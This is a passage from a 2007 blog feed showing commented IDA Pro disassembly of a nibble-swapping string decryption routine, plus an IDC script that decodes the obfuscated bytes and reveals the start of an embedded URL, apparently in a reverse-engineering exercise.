style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;byte ptr [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_8&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;], al&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt; ; Lower 4 Bits&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F37 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;ecx, [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;]&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F3A &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;            &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;and&lt;span style=""&gt;     &lt;/span&gt;ecx, &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;0FFh&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F40 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;sar&lt;span style=""&gt;     &lt;/span&gt;ecx, &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F43 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;byte ptr [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;], cl&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt; ; Upper 4 Bits&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F46 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;edx, [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;]&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F49 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;and&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;edx, &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;0FFh&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F4F &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;eax, [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_8&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;]&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F52 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;and&lt;span style=""&gt;     &lt;/span&gt;eax, &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;0FFh&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F57 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;or&lt;span style=""&gt;      &lt;/span&gt;edx, eax&lt;span style=""&gt;                &lt;/span&gt;;Swap bits via OR&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F59 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;byte ptr [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;], dl&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F5C &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;ecx, [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_10_Arg2&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;]&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F5F &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;dl, byte ptr [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;]&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F62 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[ecx], dl&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:blue;"  &gt;&lt;span style=""&gt;       &lt;/span&gt;; dl contains the patched byte&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:black;"  &gt;.text:00403F64 &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;014&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;eax, [ebp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:green;"  &gt;var_C_Arg1&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:100%;color:navy;"  &gt;]&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;  &lt;p class="MsoNormal" style="border: medium none ; padding: 0in;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Arial;font-size:8;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Here I have broken down and commented the disassembly showing the decryption routine.&lt;span style=""&gt;  &lt;/span&gt;This should be pretty trivial to script so I don’t have to go byte for byte with a calculator and ASCII table.&lt;/p&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;  &lt;div style="border: 0.5pt solid windowtext; padding: 1pt;"&gt;DC script for swapping the low order nibble and the high order nibble of a byte&lt;br /&gt;Uncomment one, or both of the functions at the bottom of the script&lt;br /&gt;--Message() will just print the decoded strings to the messages window but will not patch the DB&lt;br /&gt;--PatchByte() is self explanatory&lt;br /&gt;Script by Chris Sia eon.bass@gmail.com&lt;br /&gt;#include &lt;idc.idc&gt;&lt;br /&gt;static revbyte(void)&lt;br /&gt;auto start, end, ptr, X, Y, Z;&lt;br /&gt;    start = SelStart();&lt;br /&gt;   &lt;br /&gt;    end = SelEnd();&lt;br /&gt;   &lt;br /&gt;    end = end - 1;&lt;br /&gt;      &lt;br /&gt;    Message("Reversing Byte Order\n");&lt;br /&gt;    for (ptr = start; ptr &lt;= end; ptr++)&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;X = Byte(ptr);&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;Y = Byte(ptr);&lt;br /&gt;                {&lt;br /&gt;   &lt;br /&gt;X = (X &amp;amp; 0xFF);&lt;br /&gt;               &lt;br /&gt;   &lt;br /&gt;X = X &lt;&lt; 4;  &lt;br /&gt;   &lt;br /&gt;                {&lt;br /&gt;   &lt;br /&gt;Y = (Y &amp;amp; 0xFF);&lt;br /&gt;               &lt;br /&gt;   &lt;br /&gt;Y = Y &gt;&gt; 4;&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;Z = (X | Y);&lt;br /&gt;   &lt;br /&gt;    /* Uncomment below to enable decoded strings to be printed in Messages Window */&lt;br /&gt;   Message(Z);&lt;br /&gt;   &lt;br /&gt;    /* Uncomment below to enable swapped bytes to be patched back to the DB */&lt;br /&gt;    PatchByte(ptr, Z);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;idc.idc&gt;&lt;br /&gt;&lt;/idc.idc&gt;&lt;p class="MsoNormal" style="border: medium none ; padding: 0in;"&gt;&lt;span style=";font-family:Arial;font-size:8;"  &gt;&lt;span style="font-size:100%;"&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;p class="MsoNormal"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;This script can send the decrypted ASCII to the messages window in IDA, or actually patch the byte in the disassembly.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;!--[if !supportEmptyParas]--&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;To use, highlight the data:&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QwzalobDZ4c/RvrxvvMow8I/AAAAAAAAACE/D6PBjmL3oRE/s1600-h/1.bmp"&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;  &lt;v:stroke joinstyle="miter"&gt;  &lt;v:formulas&gt;   &lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;   &lt;v:f eqn="sum @0 1 0"&gt;   &lt;v:f eqn="sum 0 0 @1"&gt;   &lt;v:f eqn="prod @2 1 2"&gt;   &lt;v:f eqn="prod @3 21600 pixelWidth"&gt;   &lt;v:f eqn="prod @3 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @0 0 1"&gt;   &lt;v:f eqn="prod @6 1 2"&gt;   &lt;v:f eqn="prod @7 21600 pixelWidth"&gt;   &lt;v:f eqn="sum @8 21600 0"&gt;   &lt;v:f eqn="prod @7 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @10 21600 0"&gt;  &lt;/v:formulas&gt;  &lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;  &lt;o:lock ext="edit" aspectratio="t"&gt; &lt;/v:shapetype&gt;&lt;v:shape id="_x0000_i1025" type="#_x0000_t75" style="'width:960pt;"&gt;  &lt;v:imagedata src="file:///C:/DOCUME~1/eon/LOCALS~1/Temp/msoclip1/02/clip_image001.png" title=""&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_QwzalobDZ4c/Rvr2QfMow_I/AAAAAAAAACc/7Q_ZMpy4618/s1600-h/1.bmp"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://2.bp.blogspot.com/_QwzalobDZ4c/Rvr2QfMow_I/AAAAAAAAACc/7Q_ZMpy4618/s400/1.bmp" alt="" id="BLOGGER_PHOTO_ID_5114671089945461746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then open the File/IDC command...and run revbyte().&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_QwzalobDZ4c/Rvr2a_MoxAI/AAAAAAAAACk/_14rHDW1XRo/s1600-h/2.bmp"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 426px; height: 250px;" src="http://4.bp.blogspot.com/_QwzalobDZ4c/Rvr2a_MoxAI/AAAAAAAAACk/_14rHDW1XRo/s400/2.bmp" alt="" id="BLOGGER_PHOTO_ID_5114671270334088194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The highlighted data now shows the decrypted strings.  The beginning of a URL "http://20" is clearly visible.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-7828950216485106280?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/7828950216485106280/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=7828950216485106280' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/7828950216485106280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/7828950216485106280'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2007/09/ida-pro-foo.html' title='IDA Pro Foo'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_QwzalobDZ4c/Rvr3G_MoxBI/AAAAAAAAACs/83xXhAKLIHw/s72-c/Software_Test_Web.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-5238421388448769063</id><published>2007-09-24T05:47:00.000-07:00</published><updated>2007-09-24T06:04:59.947-07:00</updated><title type='text'>DHS Slams Unisys</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 